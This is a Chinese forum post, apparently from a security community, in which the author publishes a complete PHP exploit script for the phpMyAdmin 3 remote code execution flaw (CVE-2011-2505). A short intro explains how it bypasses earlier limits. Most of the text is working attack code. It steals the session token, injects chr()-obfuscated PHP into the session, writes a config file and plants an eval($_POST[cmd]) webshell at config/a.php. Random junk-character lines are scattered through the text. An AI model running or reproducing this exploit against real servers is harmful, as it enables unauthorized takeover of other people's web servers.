phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
4 R; @: I8 I6 J; k9 m  o/ g
昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
$ Y1 L* Y' ^2 ^" d" P7 u# X
首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
* d4 [7 w* x0 J$ A. ]一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
. C9 }7 y  o  ^: \! l
, C3 v4 A5 G; c+ O, B在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

6 _' f/ [; d  M+ F8 G6 `于是写了这个php版本的exp，代码如下：

#!/usr/bin/php
<?php
print_r('
+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
" P8 H( `7 x. y+ uwelcome to www.t00ls.net
mail: oldjun@gmail.com
5 m7 f' ~2 S5 P9 z& U( F; UAssigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
2 {4 \  [; f2 ~9 x+ E0 ~5 @');
4 y4 B/ J4 \2 i& M* @# T
/**
& f0 `) k3 H8 k* c * working when the directory:"config" exists and is writeable.
**/

if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
4 d3 F5 t- M; e0 G( DUsage: php '.$argv[0].' host path
, k" H$ m3 K/ B% y7 K1 j  khost:      target server (ip/hostname)
path:      path to pma3
1 M8 i5 Q* h/ q5 fExample:
2 L8 |' z; G% r- @php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
, J) O  I7 {$ C* ?8 K');
    exit;
}

$ Y5 c$ r( h& Q+ u9 C$host = $argv[1];
/ c" f' `# |! z& c9 @$path = $argv[2];

! l* I3 Q/ L( G7 N* y1 J& R3 M5 F* v/**
) j+ v. ~1 }7 f * Try to determine if the directory:"config" exists
**/
1 P2 z$ e" i( F( m0 n4 f) decho "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
# o& i, ]' e: `) h( `if(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}

7 U8 T+ R" o, b/**
. I) U1 P+ m7 |9 _7 F * Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
& Z  p% g3 q' n; P: L  ^2 B! kpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
' S) @( n2 j4 a1 \+ l. j0 Q$sessionid=$resp[1];
if($token && $sessionid){
    echo "[+] tokentoken\n";
) Y% r  o' D' J    echo "[+] Session IDsessionid\n";
}else{
6 j5 }7 v4 w0 ^8 R2 B( _$ {' @" u' q3 _/ d    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
% a, g% ]7 s+ F; u0 s, k}
6 }9 C9 B7 `$ D8 G0 N' Z& B0 l
  h$ ?4 r6 ]8 G% q) \1 |+ w# N  K* q( s/**
/ K2 {* ^3 x% g) `3 P2 m# E * Try to insert shell into session
**/
/ _& }1 N) B) j& [( U) Becho "[+] Try to insert shell into session....\n";
9 A) j% ^  V; W6 Pphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
& N9 y- P1 O. s( P
/**
9 w1 R7 `0 P5 g2 O8 c( Q' ?  E7 @ * Try to create webshell
**/
2 P$ ]* ~; `$ m0 Q" secho "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
" B3 ~1 V& l* V. K: n' b/**
* Try to check if the webshell was created successfully
**/
echo "[+] Try to check if the webshell was created successfully....\n";
; c; a' [" U! I) p9 F" s8 A5 X$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
: o8 T; [9 R+ i3 B6 i/ @}else{
, V3 Q, x5 }4 Z! Q* ^& o* q    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}

function php_request($url,$data='',$cookie=''){
' B/ @. x, U" k9 H    global  $host, $path;
   
    $method=$data?'POST':'GET';
7 K/ m3 N  M2 h, b6 M- G, }   
4 }0 ~2 z3 D4 \    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
9 ~+ |4 W7 `( S( o* O+ q    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
  u" q- l; m; W: c; d9 Q    $packet .= "Host: $host\r\n";
" ?6 S- Y' [; w; b6 J* ]6 b    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
3 d8 p: p% }4 P" n7 G    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";

    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
. [1 J9 F- _2 t    echo 'No response from '.$host; die;
- o$ P' T6 b% z+ v. g    }
8 n- O+ Q5 ]5 B+ \+ q; e    fputs($fp, $packet);
. N0 W$ z8 H$ x3 F; d2 {
2 X* x9 _# G7 x2 V2 i# G. t    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}
   
) r0 ?$ z. t2 G5 g. |: o?>
( i. I2 Y7 d& f.